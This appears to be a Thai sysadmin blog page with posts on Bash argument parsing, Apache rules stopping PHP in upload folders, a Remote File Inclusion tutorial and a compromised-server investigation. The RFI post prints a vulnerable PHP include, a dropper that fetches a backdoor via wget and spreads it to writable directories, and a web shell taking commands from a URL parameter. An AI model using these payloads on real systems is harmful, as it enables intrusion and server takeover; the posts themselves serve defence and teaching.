Category: Operating System

  • เทคนิคการเขียน Shell Script #1

    เมื่อต้องการเขียน Shell Script เพื่อรับ Argument และ Option เช่น เขียน myscript.sh ซึ่งแบ่งเป็น 3 แบบ
    1) $ sh myscript1.sh myfirstname mylastname 16
    2) $ sh myscript2.sh -f myfirstname -l mylastname -a 16
    3) $ sh myscript3.sh –firstname myfirstname –lastname mylastname –age 16

    [บทความนี้ ใช้งานบน Ubuntu 12.04 Server และ ใช้ Bash Shell]

    1) วิธีแรก คือ การรับตัว Argument เรียงตามลำดับ โดยใช้ เครื่องหมาย $ ตามด้วยลำดับของตัวแปร เช่น $1, $2, $3 ดัง Script myscript1.sh มีรายละเอียด ต่อไปนี้

    firstname=$1
    lastname=$2
    age=$3
    echo "Firstname=$firstname"
    echo "lastname=$lastname"
    echo "age=$age"

    วิธีนี้ ข้อดีคือ สร้างง่าย แต่ ข้อเสียคือ ต้องใส่ Argument ตามลำดับเท่านั้น

    2) วิธีที่สอง คือ มีการใช้ Option แบบชื่อสั้น เช่น -f, -l ,-a โดยต้องใช้คำสั่ง getopts ดังตัวอย่าง Script myscript2.sh

    getopts "f:l:a:" opt
    while [ "$opt" != "?" ]
    do
       case $opt in
        f)
         echo "Firstname: $OPTARG"
         ;;
        l)
         echo "Lastname: $OPTARG"
         ;;
        a)
         echo "Age: $OPTARG"
         ;;
        esac
     getopts "f:l:a:" opt
    done

    อธิบายเพิ่มเติม

    • getopts "f:l:a:" opt
      คำสั่งนี้ บอกว่า getopts จะรับ Option คือ f, l และ a และ เมื่อรับมาแล้ว จะใส่ในตัวแปร opt
      ส่วนใน “f:l:a:” นั้น เป็นการกำหนด Short Option Name โดยที่ เป็นอักษรตัวเดียว และ ค่า Option ใด ไม่มี เครื่องหมาย “:” แสดงว่า ไม่ต้องการใส่ค่า
      Option ใด มี     เครื่องหมาย “:” แสดงว่า ต้องการมีการใส่ค่า
      Option ใด ไม่มี เครื่องหมาย “::” แสดงว่า จะใส่ค่า หรือไม่ใส่ค่า ก็ได้
    • while [ "$opt" != "?" ] … done
      วนลูป ทุก Options จนเจอค่า “?” จึงหยุดทำงาน
    • case $opt in … esac
      เป็นการ Switch Case ตัว Option ที่เข้ามา ระหว่าง f, l และ a ให้ทำงานตามสั่ง
    • $OPTARG
      เป็นค่าที่ให้มา ผ่าน Option นั้นๆ เช่น หากมีการสั่งงานด้วยคำสั่ง

      sh myscript2.sh -f Somchai -l Jaidee -a 16
      เมื่อลูป ค่า $opt เป็น l , ก็จะได้ค่า $OPTARG เป็น Somchai เป็นต้น

    วิธีนี้ มีข้อดีคือ ง่ายต่อการพัฒนา สามารถ สลับตำแหน่งของ Option ได้ดีกว่าวิธีแรก แต่มีข้อเสียคือ ชื่อย่อ ของ Option นั้นสั้น อาจจะทำให้ยากต่อการสื่อสาร

    3) วิธีที่สาม คือ มีการใช้งาน Option แบบชื่อยาว เช่น –firstname, –lastname, –age
    ตัวอย่าง

    if ! options=$(getopt -o f:l:a: -l firstname:,lastname:,age: -- "$@")
    then
     exit 1
    fi
    
    set -- $options
    
    while [ $# -gt 0 ]
    do
     case $1 in
       -f|--firstname) echo "Firstname: $2" ; shift 2;;
       -l|--lastname) echo "Lastname : $2"; shift 2 ;;
       -a|--age) echo "Age: $2" ; shift 2 ;;
       --) shift ; break;;
     esac
    done
    

    ทั้งนี้ สิ่งที่แตกต่างระหว่างวิธีที่ 2) และ 3) คือ การใช้งาน “getopts” นั้น จะไม่สามารถใส่ Long Options ได้ ต้องใช้ “getopt” จึงจะใช้งานได้ นอกนั้น ก็คล้ายๆกันครับ

  • วิธีตรวจสอบเว็บไซต์ที่โดน Hack #12

    บทความนี้ จะกล่าวถึง วิธีการปิดช่องโหว่ของ Apache ที่ให้บริการ Web Hosting เลย เผื่อมีผู้ใช้ ติดตั้ง Joomla และมี JCE รุ่นที่มีช่องโหว่ จะได้ไม่สร้างปัญหา และ แนะนำวิธีสำหรับผู้พัฒนาเวปไซต์เองด้วย ที่เปิดให้มีการ Upload ไฟล์โดยผู้ใช้ผ่านทาง Web ด้วย … เพราะหน้าที่นี้ ควรเป็นของ Web Server Administrator ไม่ใช่ของ Web Master หรือ Web Author ครับ

    จากปัญหาช่องโหว่ของ JCE Exploited ของ Joomla ที่อธิบายไว้ใน วิธีตรวจสอบเว็บไซต์ที่โดน Hack #3 ที่อธิบายขั้นตอนการเจาะช่องโหว่, วิธีตรวจสอบเว็บไซต์ที่โดน Hack #4 ซึ่งเป็นวิธีการตรวจสอบค้นหา และทำลาย Backdoor และ วิธีตรวจสอบเว็บไซต์ที่โดน Hack #11  วิธีการ Incremental Backup ซึ่งสามารถช่วยกู้ไฟล์ได้และรู้ว่า มีไฟล์แปลกปลอมอะไรเกิดบ้าง ซึ่งเป็นการแก้ปัญหาปลายเหตุทั้งสิ้น

    ส่วน วิธีตรวจสอบเว็บไซต์ที่โดน Hack #5 กล่าวถึงการตรวจสอบว่า Software ที่ใช้งานอยู่มีช่องโหว่อะไรบ้าง ด้วยการตรวจสอบ CVE เป็นต้น

    สำหรับ JCE Exploited จะพบว่า การวางไฟล์ Backdoor จะเริ่มวางไว้ที่ไดเรคทอรี่ images/stories ที่ แกล้งเป็นไฟล์ .gif แล้วเอาโค๊ด PHP เข้ามาใส่ แล้วเปลี่ยนนามสกุลเป็น .php ภายหลัง ดังนั้น หาก Apache Web Server สามารถ ปิดกั้นตั้งแต่จุดนี้ได้ กล่าวคือ ต่อให้เอาไฟล์มาวางได้ แต่สั่งให้ทำงานไม่ได้ ก็น่าจะปลอดภัย และ หากพัฒนาเวปไซต์เอง หรือ ผู้ใช้ของระบบต้องการให้ Upload ไฟล์ไว้ในไดเรคทอรี่ใดได้ ก็ต้องแจ้งให้ Web Server Administrator รับทราบ และเพิ่มเติมให้ น่าจะทำให้ปลอดภัยมากขึ้นได้

    สมมุติฐานคือ

    1. ติดตั้ง OS และ Apache Web Server ใหม่

    2. ติดตั้ง Joomla ใหม่ หรือ เอา Web Application ที่ปลอดช่องโหว่อื่นๆ/Backdoor มาลง
      โดย Joomla ที่มีที่วางไฟล์ภาพไว้ที่ images/stories ส่วน Web Application อื่นๆ ขอสมมุติว่าตั้งชื่อไดเรคทอรี่ว่า uploads

    สำหรับ Apache2 บน Ubuntu Apache 2.2 นั้น มีโครงสร้างไดเรคทอรี่ดังนี้

    /etc/apache2/
    |-- apache2.conf
    |       `--  ports.conf
    |-- mods-enabled
    |       |-- *.load
    |       `-- *.conf
    |-- conf.d
    |       `-- *
    |-- sites-enabled
            `-- *

    เมื่อ Apache เริ่ม (Start) ก็จะไปอ่าน /etc/apache2/apache2.conf ในนั้น จะกำหนดภาพรวมของระบบ ได้แก่ ใครเป็นคน Start (APACHE_RUN_USER/APACHE_RUN_GROUP), การกำหนดชื่อไฟล์ .htaccess ที่เปิดให้ผู้ใช้ปรับแต่ง Apache ที่แต่ละไดเรคทอรี่ของตนได้, กำหนดว่า จะเรียกใช้ Module อะไรบ้าง โดยการ Include *.load, *.conf  จาก mods-enabled, กำหนดว่า จะเปิดให้มี Virtual Host อะไรบ้างโดยการ Include ไฟล์จาก sites-enabled และ ที่สำคัญ ผู้ดูแลระบบสามารถแยกไฟล์ config ออกเป็นส่วนย่อยๆเป็นไฟล์ โดยการ Include จาก conf.d

    ต่อไป สร้างไฟล์ /etc/apache2/conf.d/jce มีเนื้อหาดังนี้

    <DirectoryMatch ".*/images/stories/.*">
    <FilesMatch "\.php$">
           Order Deny,Allow
           Deny from All
     </FilesMatch>
    </DirectoryMatch>

     และในทำนองเดียวกัน สร้างไฟล์ /etc/apache2/conf.d/uploads มีเนื้อหาดังนี้

    <DirectoryMatch ".*/uploads/.*">
    <FilesMatch "\.php$">
           Order Deny,Allow
           Deny from All
     </FilesMatch>
    </DirectoryMatch>

    ก่อนจะ Restart/Reload Apache ทดสอบสร้างไฟล์ใน

    /var/www/joomla15/images/stories/0day.php
    /var/www/mywebapp/uploads/hack.php

    เมื่อเรียก URL
    http://localhost/joomla15/images/stories/0day.php

    http://localhost/mywebapp/uploads/hack.php

     ผลที่ได้คือ Backdoor หน้าตาประมาณนี้

    แต่พอใช้ Reload Apache ด้วยคำสั่ง

     sudo /etc/init.d/apache2 reload

     แล้วเรียก URL

     http://localhost/joomla15/images/stories/0day.php

     จะได้ผลดังนี้

    เป็นอันว่า แม้ Hacker จะสามารถเอาไฟล์ 0day.php ไปวางใน images/stories ได้ แต่ก็จะไม่สามารถทำงานได้ (อย่างน้อย ก็เรียกใช้ไม่ได้ แต่ผู้ดูแลต้องค้นหาและทำลายเป็นประจำ)

     อธิบายเพิ่มเติมเกี่ยวกับ Apache Configuration เล็กน้อย, การเขียนนั้น ประกอบด้วยสิ่งที่เรียกว่า Directive โดยแบ่งออกเป็น Container และ Directive ทั่วไป

    1. Container Directive: เป็นตัวบอกขอบเขต แบ่งออกเป็น

    1.1 FileSystem: ได้แก่

    1.1.1 <Directory directory-path> … </Directory>
    ตั้งค่ากับเฉพาะ ขอบเขตของ Directory ซึ่ง directory-path จะต้องเขียนตามให้เต็ม Path เช่น
    <Direcotory /var/www>
    ….
    </Directory>

    1.1.2 <DirectoryMatch regexp> … </DirectoryMatch>
    ตั้งค่ากับเฉพาะ ขอบเขตของ Directory ซึ่งสอดคล้องกับ regexp ที่กำหนด เช่น
    <DirecotoryMatch “.*/images/stories/.*”>
    ….
    </DirectoryMatch>

    1.1.3 <Files filename> … </Files>
    ตั้งค่ากับเฉพาะ ชื่อไฟล์ที่ตรงกับ filename ที่กำหนด เช่่น
    <Files “somefile.html”>

    </Files>

    1.1.4 <FilesMatch regexp> … </FilesMatch>
    ตั้งค่ากับเฉพาะ ชื่อไฟล์ที่สอดคล้องกับ regexp ที่กำหนด เช่่น
    <FilesMatch “.*\.php$”>

    </FilesMatch>

    1.2 WebSpace: ได้แก่

    1.2.1 <Location URL-Path> … </Location>
    ตั้งค่ากับเฉพาะ URL ที่ตรงกับ URL-Path เช่น
    <Location /private>

    </Location>
    1.2.2 <LocationMatch regexp> … </LocalMatch>
    ตั้งค่ากับเฉพาะ URL ที่สอดคล้องกับ regexp เช่น
    <LocationMatch “/(extra|special)/data”>

    </LocationMatch>

    2. Other Directive
    ซึ่งมีอยู่มากมาย กรุณาอ่านเพิ่มเติมจาก http://httpd.apache.org/docs/2.2/mod/core.html แต่ในที่นี้ จะขอยกตัวอย่างที่สำคัญ และจำเป็นต้องใช้ ตามตัวอย่างข้างต้น คือ

    Order ordering : อยู่ใน Module mod_access_compat, ค่า ordering ที่สามารถกำหนดได้คือ

    Allow, Deny ซึ่งจะพิจารณาการอนุญาตก่อนปฏิเสธ และ Deny, Allow จะปฏิเสะก่อนแล้วพิจารณาอนุญาต ให้เข้าถึงไฟล์ หรือ ไดเรคทอรี่ต่างๆ

    Deny all|host : อยู่ใน Module mod_access_compat, ค่า all หมายถึง ปฏิเสธทุกการเชื่อมต่อจากทุกๆที่, host สามารถเป็น IP Address หรือ URL ก็ได้

    Allow all|host : อยู่ใน Module mod_access_compat, ค่า all หมายถึง ยอมรับทุกการเชื่อมต่อจากทุกๆที่, host สามารถเป็น IP Address หรือ URL ก็ได้

    ดังนั้น ไฟล์ /etc/apache2/conf.d/jce ซึ่งมีเนื้อหาว่า

    <DirectoryMatch ".*/images/stories/.*>
     <FilesMatch "\.php$">
           Order Deny,Allow
           Deny from All
     </FilesMatch>
    </DirectoryMatch>

    หมายถึง ถ้ามีการเรียก ไฟล์ที่อยู่ใน directory อะไรก็ตามที่มีส่วนหนึ่งของ Path เป็น images/stories ก็จะ ไปดูว่า ชื่อไฟล์ที่เรียกนั้น มีนามสกุลเป็น .php หรือไม่ (.* แปลว่า ตัวอักษรอะไรก็ได้, \. หมายถึงจุด “.” ที่ใช้เชื่อม filename และ extenstion และ $ หมายถึง สิ้นสุดข้อความ) ถ้าเป็นการเรียกไฟล์ .php ใน images/stories ก็จะ ปฏิเสธเสมอ (Deny from ALL)

    แล้ว ทำไมไม่ใช่ .htaccess ?

    จาก Apache Security Tips ไม่แนะนำให้ใช้ .htaccess เพราะปัญหาด้าน Performance เพราะทุกครั้งที่จะเข้าถึงไฟล์ จะต้องพิจารณา .htaccess ทุกครั้ง ในเวปไซต์ที่มีการใช้งานมาก อาจจะทำให้ความเร็วช้าลงได้ อีกประการหนึ่ง .htaccess นั้นอยู่ในไดเรคทอรี่ที่ผู้ใช้สามารถกำหนดสิทธิ์ (Permission) เองได้ หากพลาดกำหนดให้ Web User สามารถเขียนได้ อาจจะทำให้ Hacker เลี่ยงข้อกำหนดต่างๆได้ หาก ที่ Apache Main Configuration ประกาศ AllowOverride เป็น ALL

    ขอให้โชคดี

    Reference

    [1] “Apache HTTP Server Version 2.2 Documentation – Apache HTTP …” 2005. 7 Jan. 2014 <http://httpd.apache.org/docs/2.2/> .

    [2] “Security Tips – Apache HTTP Server.” 2005. 7 Jan. 2014 <http://httpd.apache.org/docs/2.2/misc/security_tips.html>

  • วิธีตรวจสอบเว็บไซต์ที่โดน Hack #10

    ในบทความนี้ จะพูดถึงช่องโหว่ที่เรียกว่า Remote File Inclusion หรือ RFI [1]

    จาก วิธีตรวจสอบเว็บไซต์ที่โดน Hack #9 ที่พูดถึง ช่องโหว่ประเภท XSS หรือ Cross-site Scripting ซึ่งอาศัยข้อผิดพลาดของการเขียนโปรแกรม ที่ทำให้ Hacker สามารถแทรก JavaScript ซึ่งจะได้ข้อมูลของ Web Browser และสามารถเปิดโอกาศให้ ผู้ใช้ของระบบ สามารถเขียน JavaScript ลงไปใน Database สร้างความเป็นไปได้ในการขโมย Cookie ID ของ Admin

    แต่ RFI เป็นช่องโหว่ ที่เกิดจากการเขียนโค๊ด ที่เปิดให้มีการ Include ไฟล์จากภายนอก จาก Internet ได้ ซึ่ง เปิดโอกาศให้ Hacker สามารถทำได้ตั้งแต่ เรียกไฟล์ /etc/passwd มาดูก็ได้ หรือ แม้แต่เอาไฟล์ Backdoor มาวางไว้ เรียกคำสั่งต่างๆได้เลยทีเดียว

    โปรดพิจารณาตัวอย่างต่อไปนี้

    ไฟล์แรก form.html มีรายละเอียดดังนี้

    <form method="get" action="action.php">
       <select name="COLOR">
          <option value="red.inc.php">red</option>
          <option value="blue.inc.php">blue</option>
       </select>
       <input type="submit">
    </form>

    ให้ผู้ใช้ เลือกสี red หรือ blue แล้วส่งค่าดังกล่าว ผ่านตัวแปร COLOR ไปยัง action.php ผ่านวิธีการ GET

    ไฟล์ที่สอง action.php มีรายละเอียดดังนี้

    <?php
       if (isset( $_GET['COLOR'] ) ){
          include( $_GET['COLOR'] );
       }
    ?>

    โดยหวังว่า จะได้ Include red.inc.php หรือ blue.inc.php ตามที่กำหนดไว้ เช่น

    http://localhost/rfi/action.php?COLOR=red.inc.php

    แต่ เป็นช่องโหว่ ที่ทำให้ Hacker สามารถ แทรกโค๊ดอันตรายเข้ามาได้ ผ่านตัวแปร COLOR ได้

    หาก Hacker ทราบว่ามีช่องโหว่ ก็อาจจะสร้างไฟล์ Backdoor ชื่อ makeremoteshell.php เพื่อให้แทรกผ่านการ include ผ่านตัวแปร COLOR ดังนี้

    <?php
    $output=shell_exec("
        wget http://localhost/rfi/rfi.txt -O /tmp/rfi.php
        find /var/www -user www-data -type d -exec cp /tmp/rfi.php {} \;
        find /var/www -name 'rfi.php'
    ");
    echo nl2br($output);
    ?>

    ซึ่ง จะทำงานผ่าน function shell_exec ซึ่งสามารถเรียกคำสั่งของ Shell Script ได้ โดย ไปดึงไฟล์จาก http://localhost/rfi/rfi.txt (สมมุติว่าเป็น Website ของ Hacker ที่จะเอาไฟล์ Backdoor ไปวางไว้) แล้ว เอาไฟล์ดังกล่าว ไปเก็บ /tmp/rfi.php และจากนั้น ก็ค้นหาว่า มี Directory ใดบ้างที่ Web User ชื่อ www-data เขียนได้ ก็ copy /tmp/rfi.php ไปวาง หลังจากนั้น ก็แสดงผลว่า วางไฟล์ไว้ที่ใดได้บ้าง

    ไฟล์ rfi.txt ที่จะถูกเปลี่ยนเป็น rfi.php นั้น มีรายละเอียดดังนี้

    <?php
    $c = $_GET['c'];
    $output = shell_exec("$c");
    echo "<pre>" . nl2br($output) . "</pre>";
    ?>

    ซึ่ง จะทำให้สามารถ ส่งคำสั่ง ผ่านตัวแปร c ไปให้ Backdoor rfi.php ทำงานได้เลย
    จากนั้น ก็เรียก

    http://localhost/rfi/action.php?COLOR=http://localhost/rfi/makeremoteshell.php

    ผลที่ได้คือ

    rfi01

    เป็นผลให้ เกิดการวาง Backdoor rfi.php ข้างต้นในที่ต่างๆที่ Web User เขียนได้แล้ว จากนั้น Hacker ก็สามารถ เรียกใช้ ด้วย URL ต่อไปนี้ เพื่อส่งคำสั่ง ls -l ได้เลย

    http://localhost/ccpr/images/stories/rfi.php?c=ls -la

    ผลที่ได้คือ

    rfi02

    หรือ แม้แต่ เอา Backdoor อื่่นๆไปวางด้วย URL

    http://localhost/ccpr/images/stories/rfi.php?c=wget http://localhost/rfi/miya187.txt -O /var/www/ccpr/images/stories/miya187.php

    และเรียกใช้ งาน Backdoor อันตรายอย่างนี้ได้เลยทีเดียว

    http://localhost/ccpr/images/stories/miya187.php

    ผลที่ได้คือ

    rfi03

    ซึ่ง อันตรายอย่างยิ่ง

    วิธีการเดียวที่จะป้องกันได้คือ การปิดค่า allow_url_include ของ PHP ดังนี้

    allow_url_include=Off

    ก็ทำให้ PHP สามารถ Include ได้เฉพาะ Path ที่กำหนดเท่านั้น ไม่สามารถเรียกจากภายนอกได้

    ขอให้โชคดี

     Reference

    [1] Wikipedia:File Inclusion Vulnerability <http://en.wikipedia.org/wiki/File_inclusion_vulnerability>

  • วิธีตรวจสอบเว็บไซต์ที่โดน Hack #8

    ได้รับข้อร้องเรียนจาก Google Webmaster Tools ว่า มีเครื่องภายในมหาวิทยาลัย พยายามโจมตี เครือข่ายภายนอก และทาง Firewall ของมหาวิทยาลัย ได้ทำการปิดกั้น การเข้าออก ของเครื่องดังกล่าวแล้ว จึงเข้าตรวจสอบ

     ขั้นตอนการตรวจสอบ

     1. เบื้องต้น พบว่าเป็น  Ubuntu 8.04.4 LTS

    2. ตรวจสอบ ทำให้ทราบว่า Web User ใดที่สั่งให้ httpd ทำงาน ด้วยคำสั่ง

     ps aux |grep http

     ผลคือ

     nobody   31159  0.0  1.5  29056 15588 ?        S    Dec17   0:00 /opt
    /lampp/bin/httpd -k start -DSSL -DPHP5

     จึงทราบว่า Web User ใช้ชื่อว่า ‘noboby’ (จากที่เคยคุ้นชินกับ www-data, apache อะไรทำนองนั้น)

     3. ตรวจสอบ Process อย่างละเอียดด้วยคำสั่งต่อไปนี้

     ps auxwe

     ผลที่ได้ พบว่า มี Process ของ httpd ทั่วๆไป จะแสดงรายละเอียดอย่างนี้

    nobody     3460  0.0  1.3  28060 14348 ?        S    Dec01   0:00 /op
    t/lampp/bin/httpd -k start -DSSL -DPHP5 LESSOPEN=| /usr/bin/lesspipe 
    %s USER=root MAIL=/var/mail/root SHLVL=4 LD_LIBRARY_PATH=/opt/lampp/li
    b:/opt/lampp/lib:/opt/lampp/lib: HOME=/root LOGNAME=root _=/opt/lampp/
    bin/apachectl TERM=vt100 PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin
    :/usr/bin:/sbin:/bin LANG=en_US.UTF-8 LS_COLORS=no=00:fi=00:di=01;34:l
    n=01;36:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01
    :su=37;41:sg=30;43:tw=30;42:ow=34;42:st=37;44:ex=01;32:*.tar=01;31:*.t
    gz=01;31:*.svgz=01;31:*.arj=01;31:*.taz=01;31:*.lzh=01;31:*.lzma=01;31
    :*.zip=01;31:*.z=01;31:*.Z=01;31:*.dz=01;31:*.gz=01;31:*.bz2=01;31:*.b
    z=01;31:*.tbz2=01;31:*.tz=01;31:*.deb=01;31:*.rpm=01;31:*.jar=01;31:*.
    rar=01;31:*.ace=01;31:*.zoo=01;31:*.cpio=01;31:*.7z=01;31:*.rz=01;31:*
    .jpg=01;35:*.jpeg=01;35:*.gif=01;35:*.bmp=01;35:*.pbm=01;35:*.pgm=01;3
    5:*.ppm=01;35:*.tga=01;35:*.xbm=01;35:*.xpm=01;35:*.tif=01;35:*.tiff=0
    1;35:*.png=01;35:*.svg=01;35:*.mng=01;35:*.pcx=01;35:*.mov=01;35:*.mpg
    =01;35:*.mpeg=01;35:*.m2v=01;35:*.mkv=01;35:*.ogm=01;35:*.mp4=01;35:*.
    m4v=01;35:*.mp4v=01;35:*.vob=01;35:*.qt=01;35:*.nuv=01;35:*.wmv=01;35:
    *.asf=01;35:*.rm=01;35:*.rmvb=01;35:*.flc=01;35:*.avi=01;35:*.fli=01;3
    5:*.gl=01;35:*.dl=01;35:*.xcf=01;35:*.xwd=01;35:*.yuv=01;35:*.aac=00;3
    6:*.au=00;36:*.flac=00;36:*.mid=00;36:*.midi=00;36:*.mka=00;36:*.mp3=0
    0;36:*.mpc=00;36:*.ogg=00;36:*.ra=00;36:*.wav=00;36: SHELL=/bin/bash L
    ESSCLOSE=/usr/bin/lesspipe %s %s PWD=/root

    แต่ พบว่า มีอยู่รายการหนึ่ง แสดงผลอย่างนี้

     nobody    5106  0.0  0.2   4168  2184 ?        S    Nov21   1:17 /usr
    /local/apache/bin/httpd -DSSL                                         
    
                                              -m a.txt HOME=/nonexistent O
    LDPWD=/var/spool/cron LOGNAME=nobody PATH=/usr/bin:/bin SHELL=/bin/sh 
    PWD=/home/wwwroot/experience/images/smilies/.laknat/.libs

     จึงตรวจสอบ Process PID 5106 ด้วยคำสั่ง

     ls -la /proc/5106

     ผลที่ได้คือ

     ซึ่ง จะเห็นได้ว่า Process นี้ สั่งทำงานจาก /home/wwwroot/experience/images/smilies/.laknat/.libs/httpd

    แต่ ก่อนหน้านี้ ผู้ดูแลระบบ ได้ สำรองข้อมูลออกไป แล้วลบทิ้งไปก่อนแล้ว จึงขึ้นคำว่า (deleted)

     จาก วิธีตรวจสอบเว็บไซต์ที่โดน Hack #6 พบว่า Hacker มักจะเขียน crontabs เอาไว้ เรียก Backdoor กลับมาอีก จึงทำการตรวจสอบที่ /var/spool/cron/crontabs ด้วยคำสั่ง

     ls -l /var/spool/cron/crontabs/

    ผลที่ได้คือ

    -rw------- 1 nobody crontab 271 2013-11-21 21:45 nobody
    -rw------- 1 root   crontab 256 2011-12-30 09:46 root

     และเมื่อ cat ออกมาดู พบว่า

    cat /var/spool/cron/crontabs/root
    
    # DO NOT EDIT THIS FILE - edit the master and reinstall.
    # (/tmp/crontab.WBj4te/crontab installed on Fri Dec 30 09:46:13 2011)
    # (Cron version -- $Id: crontab.c,v 2.13 1994/01/17 03:20:37 vixie Exp $)
    # m h  dom mon dow   command
    0 3 * * * sh /backup.sh
    cat /var/spool/cron/crontabs/nobody
    
    # DO NOT EDIT THIS FILE - edit the master and reinstall.
    # (a.txt.d installed on Thu Nov 21 21:45:40 2013)
    # (Cron version -- $Id: crontab.c,v 2.13 1994/01/17 03:20:37 vixie Exp $)
    * * * * * /home/wwwroot/experience/images/smilies/.laknat/.libs/a.txt.upd >/dev/null 2>&1

     แสดงให้เห็นว่า มี crontabs ของ nobody สร้างเมื่อเวลา Thu Nov 21 21:45:40 2013

    4.เครื่องนี้ใช้ lampp เป็น Web Server ซึ่ง ใช้พื้นที่ทำงานคือ

     /opt/lampp

     โดย ให้ผู้ใช้แต่ละคน สร้าง Web ในพื้นที่ /home ของแต่ละคนได้

     และเก็บ Logs ที่

     /opt/lampp/logs

     จึงตรวจสอบด้วยคำสั่ง

     grep "21/Nov/2013:21:45" /opt/lampp/logs/access_log

     ผลที่ได้คือ

    03-logplacefile

    แสดงให้เห็นว่า มีการเรียกไฟล์ *.php ใน images/stories ซึ่ง น่าจะเป็นช่องโหว่ จาก JCE Exploited ตาม วิธีตรวจสอบเว็บไซต์ที่โดน Hack #4 ซึ่งจะใช้วิธีการตามที่อธิบายไว้ก่อนหน้านี้แล้ว เพื่อตรวจสอบต่อไป

    5. เนื่องจาก ผู้ดูแลระบบ ได้สำรองข้อมูลของ /home/wwwroot/experience/images/smilies/.laknat/.libs/ เอาไว้ จึง เรียกออกมาดู

    ได้ผลดังนี้

    จะเห็นได้ว่า ไฟล์ a.txt.upd ถูกสร้างเมื่อเวลา 2013-11-21 21:45 จริงๆ

    เมื่อใช้คำสั่ง

    cat a.txt.upd

     ได้ผลว่า

    a.txt.upd

    จึงลองตรวจสอบ a.txt.run ด้วยคำสั่ง

    cat a.txt.run

     ได้ผลว่า

     a.txt.run

    และใช้คำสั่ง

    cat a.txt

     ซึ่งเป็นโปรแกรม ภาษา TCL ซึ่งมีรายละเอียดยาวมาก แต่ มีส่วนหนึ่ง เขียนว่า

    a.txt

    และจากการตรวจสอบ ทั้ง directory ก็พบว่า เป็นการเอา Network Tools ต่างๆ ได้แก่ Sniffer, Network Scanner และ อื่นๆอีกมากมาย ซึ่ง เอาตัวโปรแกรม เช่น TCL แบบ Portable มาด้วย หมายความว่า แม้เครื่อง Server ไม่ติดตั้ง TCL ก็สามารถทำงานได้เลยทีเดียว

     ดังนั้น เครื่องนี้ ถูกสั่งงานจากทางไกล กลายเป็น Botnet เพื่อตรวจสอบ เครื่องแม่ข่ายภายใน แม้มหาวิทยาลัยจะมี Firewall ป้องกัน แต่ถูกเครื่องนี้ ดักเก็บข้อมูล และแสดงผลกลับไปให้ Hacker ผ่านทาง Port TCP/80 ซึ่ง Firewall เปิดให้ใช้งานได้เลย

     5. ตรวจสอบว่า มีไฟล์ *.php ใน directory images/stories อีกหรือไม่ ด้วยคำสั่ง

     find /home -name "*.php" -type f | grep 'images/stories'

     ก็พบเพียงไฟล์เดียว คือ

     /home/wwwroot/research_old/images/stories/gh.php

     ซึ่งผิดสังเกต เมื่อตรวจสอบไฟล์ที่สร้างขึ้นในเวลาใกล้เคียงกัน ก็ไม่พบความผิดปรกติ ซึ่ง ไม่ปรกติ

    6. จึงตรวจสอบทั้ง /home ทุกไฟล์ *.php ที่อาจจะมี Backdoor ที่อาจซ่อนการใช้ฟังก์ชั่น eval หรือไม่ ด้วยคำสั่ง

    for f in $(find /home/ -name "*.php" -type f) ; do
      echo $f
      echo "---"
      grep 'eval(' "$f"
      echo "---"
    done

     พบว่า มีไฟล์ *.php ทั้งหมดจำนวน 15,883 ไฟล์ ในนั้นมี 200 กว่าไฟล์ ที่มีการใช้ฟังก์ชั่น eval จริง แต่บางส่วน ก็เป็นไฟล์ที่ถูกต้อง แต่มี 34 ไฟล์ ที่ เป็นไฟล์ Backdoor ใหม่ๆ เพิ่งสร้างขึ้นมา เช่น

    และ เป็นไฟล์ของระบบ ที่มีการแทรก Backdoor Code เข้าไป เช่น

    จึง เก็บรายชื่อไฟล์ทั้ง 34 นี้ ไว้ในไฟล์ ชื่อ 11-manualhack.txt และใช้คำสั่งต่อไปนี้ เพื่อเก็บไฟล์เอาไว้ เพื่อใช้ตรวจสอบต่อไป

     cat 11-manualhack.txt | xargs tar -cvf evalbackdoor.tar

     แล้วจึง ลบทิ้งด้วยคำสั่งต่อไปนี้

     cat 11-manualhack.txt | xargs rm -rf

     7. ตรวจสอบต่อไปว่า มี directory ใดบ้าง ที่ เปิดให้ Web User ‘nobody’ เขียนได้ ด้วยคำสั่ง

     find /home -user nobody -perm -u+w -type d

    พบว่า มี directory จำนวนมากที่เปิดให้ Web User เขียนได้

    และ ใช้คำสั่งต่อไปนี้ ดูว่า มี directory ใดบ้าง เปิดให้ใครๆก็เขียนได้ (World Writable) หรือ ตั้ง permission 777 ด้วยคำสั่ง

    find /home  -perm -o=w -type d

     ก็มีจำนวนมากเช่นกัน

     การแก้ไขปัญหา

    1. เก็บไฟล์ Backdoor ด้วยคำสั่งต่างๆข้างต้น และลบทิ้ง

    2. ปรับให้ทุก Directory เป็น Permission 755 ด้วยคำสั่ง

     find /home -type d -print0 | xargs -0 chmod 0755

     3. ปรับให้ทุก File เป็น Permission 644

     find /home -type f -print0 | xargs -0 chmod 0644

     4. เปลี่ยน Owner และ Group ของทุก Directory และ Files ให้เป็นของแต่ละ User ด้วยคำสั่งประมาณนี้

    chown -R user01.user01 /home/wwwroot

    5. ลบ crontab ด้วยคำสั่ง

    rm /var/spool/cron/crontabs/nobody

    6. หยุด Process PID 5106

    kill -9 5106

     คำแนะนำ

    เนื่องจาก ขณะนี้ได้ เราได้แต่ค้นหา ช่องโหว่ ตามที่เคยเรียนรู้มาเท่านั้น ยังมีรูปแบบต่างๆ ที่ยังไม่รู้อีกมากมาย จึงแนะนำให้

    1. ติดตั้ง OS ใหม่

    2. ติดตั้ง Joomla ใหม่ และ ย้ายเฉพาะ ข้อมูลที่อยู่ใน MySQL มา แล้วจึง Upgrade ให้เป็นรุ่นล่าสุด

    3. ย้ายเฉพาะ ภาพ และ ไฟล์เอกสารสำคัญมา แต่ต้องไม่เอาไฟล์ .php หรือ อื่นๆมาเด็ดขาด

    4. เข้มงวดกับการตั้ง Owner และ Permission กับผู้ใช้งานทุกคนของระบบ, หากจะมี Directory ใดต้องให้มีการ Upload ไฟล์ได้ จะต้องตั้งค่าไม่ให้ PHP ทำงานได้เด็ดขาด

    5. การใช้งาน Joomla จะต้องยกเลิกการ Upload ภาพผ่านทาง HTTP แต่ให้ใช้ FTP แทน

     และ บทความต่อๆไป จะพูดถึงการ Hardening เพื่อลดความเสียหายต่อไป

     ขอให้โชคดี

  • วิธีตรวจสอบเว็บไซต์ที่โดน Hack #7

